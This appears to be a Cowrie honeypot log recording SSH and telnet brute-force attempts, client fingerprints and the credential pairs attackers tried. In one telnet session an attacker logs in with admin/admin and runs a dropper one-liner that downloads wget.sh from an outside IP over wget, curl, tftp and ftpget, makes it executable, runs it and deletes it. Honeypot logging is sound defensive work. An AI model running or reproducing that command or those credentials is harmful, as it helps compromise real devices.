{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"4.6","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:48.142644Z","src_ip":"103.77.246.174","session":"82f77a6df6b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.54076886177063,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:48.154572Z","src_ip":"103.77.246.174","session":"82f77a6df6b8","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ed69952ed95fae616214a891ba8d0a7248fe0dbbb6d6b16109466987c7a368fb","size":1490,"shasum":"ed69952ed95fae616214a891ba8d0a7248fe0dbbb6d6b16109466987c7a368fb","duplicate":false,"duration":"13.9","message":"Closing TTY Log: var/lib/cowrie/tty/ed69952ed95fae616214a891ba8d0a7248fe0dbbb6d6b16109466987c7a368fb after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:50.620452Z","src_ip":"103.77.246.174","session":"4e33d1aa5078","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.75961971282959,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:49:50.634679Z","src_ip":"103.77.246.174","session":"4e33d1aa5078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.204.88.67","src_port":34155,"dst_ip":"159.203.135.109","dst_port":23,"session":"b69af98b6ad2","protocol":"telnet","message":"New connection: 115.204.88.67:34155 (159.203.135.109:23) [session: b69af98b6ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:00.706809Z"}
{"eventid":"cowrie.session.closed","duration":13.293782234191895,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:14.000643Z","src_ip":"115.204.88.67","session":"b69af98b6ad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":40652,"dst_ip":"159.203.135.109","dst_port":22,"session":"74c0750c2665","protocol":"ssh","message":"New connection: 31.41.152.180:40652 (159.203.135.109:22) [session: 74c0750c2665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:20.029566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:20.037098Z","src_ip":"31.41.152.180","session":"74c0750c2665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:20.151396Z","src_ip":"31.41.152.180","session":"74c0750c2665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"q1w2e3r4","message":"login attempt [ftpuser/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:20.637819Z","src_ip":"31.41.152.180","session":"74c0750c2665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:21.755332Z","src_ip":"31.41.152.180","session":"74c0750c2665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":42600,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbf99a627be1","protocol":"ssh","message":"New connection: 193.228.128.84:42600 (159.203.135.109:22) [session: bbf99a627be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:22.497686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:22.503507Z","src_ip":"193.228.128.84","session":"bbf99a627be1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:22.622807Z","src_ip":"193.228.128.84","session":"bbf99a627be1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:22.943808Z","src_ip":"193.228.128.84","session":"bbf99a627be1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:24.380807Z","src_ip":"193.228.128.84","session":"bbf99a627be1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":40970,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd52f77b9be","protocol":"ssh","message":"New connection: 82.197.58.130:40970 (159.203.135.109:22) [session: 6fd52f77b9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:31.332076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:31.337153Z","src_ip":"82.197.58.130","session":"6fd52f77b9be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:31.491842Z","src_ip":"82.197.58.130","session":"6fd52f77b9be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mega","password":"mega","message":"login attempt [mega/mega] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:32.143872Z","src_ip":"82.197.58.130","session":"6fd52f77b9be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:33.303122Z","src_ip":"82.197.58.130","session":"6fd52f77b9be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.246.174","src_port":48564,"dst_ip":"10.17.0.5","dst_port":23,"session":"56eec46583e9","protocol":"telnet","message":"New connection: 103.77.246.174:48564 (10.17.0.5:23) [session: 56eec46583e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:39.528112Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.246.174","src_port":48592,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc1a5515ca0f","protocol":"telnet","message":"New connection: 103.77.246.174:48592 (10.17.0.5:23) [session: bc1a5515ca0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:39.865093Z"}
{"eventid":"cowrie.session.closed","duration":0.43767285346984863,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:40.302595Z","src_ip":"103.77.246.174","session":"bc1a5515ca0f","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:40.370672Z","src_ip":"103.77.246.174","session":"56eec46583e9","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:40.427112Z","src_ip":"103.77.246.174","session":"56eec46583e9","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:41.880729Z","src_ip":"103.77.246.174","session":"56eec46583e9","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.77.246.174/wget.sh; curl -O http://103.77.246.174/wget.sh; chmod 777 wget.sh; sh wget.sh; tftp 103.77.246.174 -c get wget.sh; chmod 777 wget.sh; sh wget.sh; tftp -r wget.sh -g 103.77.246.174; chmod 777 wget.sh; sh wget.sh; ftpget -v -u anonymous -p anonymous -P 21 103.77.246.174 wget.sh wget.sh; sh wget.sh; rm -rf wget.sh*","message":"CMD: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.77.246.174/wget.sh; curl -O http://103.77.246.174/wget.sh; chmod 777 wget.sh; sh wget.sh; tftp 103.77.246.174 -c get wget.sh; chmod 777 wget.sh; sh wget.sh; tftp -r wget.sh -g 103.77.246.174; chmod 777 wget.sh; sh wget.sh; ftpget -v -u anonymous -p anonymous -P 21 103.77.246.174 wget.sh wget.sh; sh wget.sh; rm -rf wget.sh*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:42.295672Z","src_ip":"103.77.246.174","session":"56eec46583e9","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://103.77.246.174/wget.sh","outfile":"var/lib/cowrie/downloads/0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","shasum":"0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:42.765291Z","message":"Downloaded URL (http://103.77.246.174/wget.sh) with SHA-256 0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351 to var/lib/cowrie/downloads/0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","src_ip":"103.77.246.174","session":"56eec46583e9","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://103.77.246.174/wget.sh","outfile":"var/lib/cowrie/downloads/0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","shasum":"0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:43.002252Z","message":"Downloaded URL (http://103.77.246.174/wget.sh) with SHA-256 0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351 to var/lib/cowrie/downloads/0a731d26eeb377a3f101bd4941e700ab87076cc7a50a0bb99f2b683b6266d351","src_ip":"103.77.246.174","session":"56eec46583e9","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ed69952ed95fae616214a891ba8d0a7248fe0dbbb6d6b16109466987c7a368fb","size":1490,"shasum":"ed69952ed95fae616214a891ba8d0a7248fe0dbbb6d6b16109466987c7a368fb","duplicate":true,"duration":"13.9","message":"Closing TTY Log: var/lib/cowrie/tty/ed69952ed95fae616214a891ba8d0a7248fe0dbbb6d6b16109466987c7a368fb after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:54.297642Z","src_ip":"103.77.246.174","session":"56eec46583e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.783716440200806,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:50:54.311747Z","src_ip":"103.77.246.174","session":"56eec46583e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":46838,"dst_ip":"159.203.135.109","dst_port":22,"session":"18266852180c","protocol":"ssh","message":"New connection: 194.113.233.25:46838 (159.203.135.109:22) [session: 18266852180c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:51:07.555889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:51:07.561527Z","src_ip":"194.113.233.25","session":"18266852180c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:51:07.656552Z","src_ip":"194.113.233.25","session":"18266852180c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555alex555","message":"login attempt [root/555alex555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:51:07.950631Z","src_ip":"194.113.233.25","session":"18266852180c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:51:09.049749Z","src_ip":"194.113.233.25","session":"18266852180c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":57662,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9f98457d604","protocol":"ssh","message":"New connection: 191.101.59.86:57662 (159.203.135.109:22) [session: c9f98457d604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:51:55.295115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:51:55.301477Z","src_ip":"191.101.59.86","session":"c9f98457d604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:51:55.489036Z","src_ip":"191.101.59.86","session":"c9f98457d604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123@","message":"login attempt [root/root123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:51:56.189719Z","src_ip":"191.101.59.86","session":"c9f98457d604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:51:57.295816Z","src_ip":"191.101.59.86","session":"c9f98457d604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":54096,"dst_ip":"159.203.135.109","dst_port":22,"session":"0978a7e61bbd","protocol":"ssh","message":"New connection: 62.133.62.83:54096 (159.203.135.109:22) [session: 0978a7e61bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:01.165438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:01.173517Z","src_ip":"62.133.62.83","session":"0978a7e61bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:01.245895Z","src_ip":"62.133.62.83","session":"0978a7e61bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"egoregor","message":"login attempt [root/egoregor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:01.556486Z","src_ip":"62.133.62.83","session":"0978a7e61bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":34726,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92e8ee97b46","protocol":"ssh","message":"New connection: 82.197.58.130:34726 (159.203.135.109:22) [session: f92e8ee97b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:01.786935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:52:01.794348Z","src_ip":"82.197.58.130","session":"f92e8ee97b46","protocol":"ssh"}
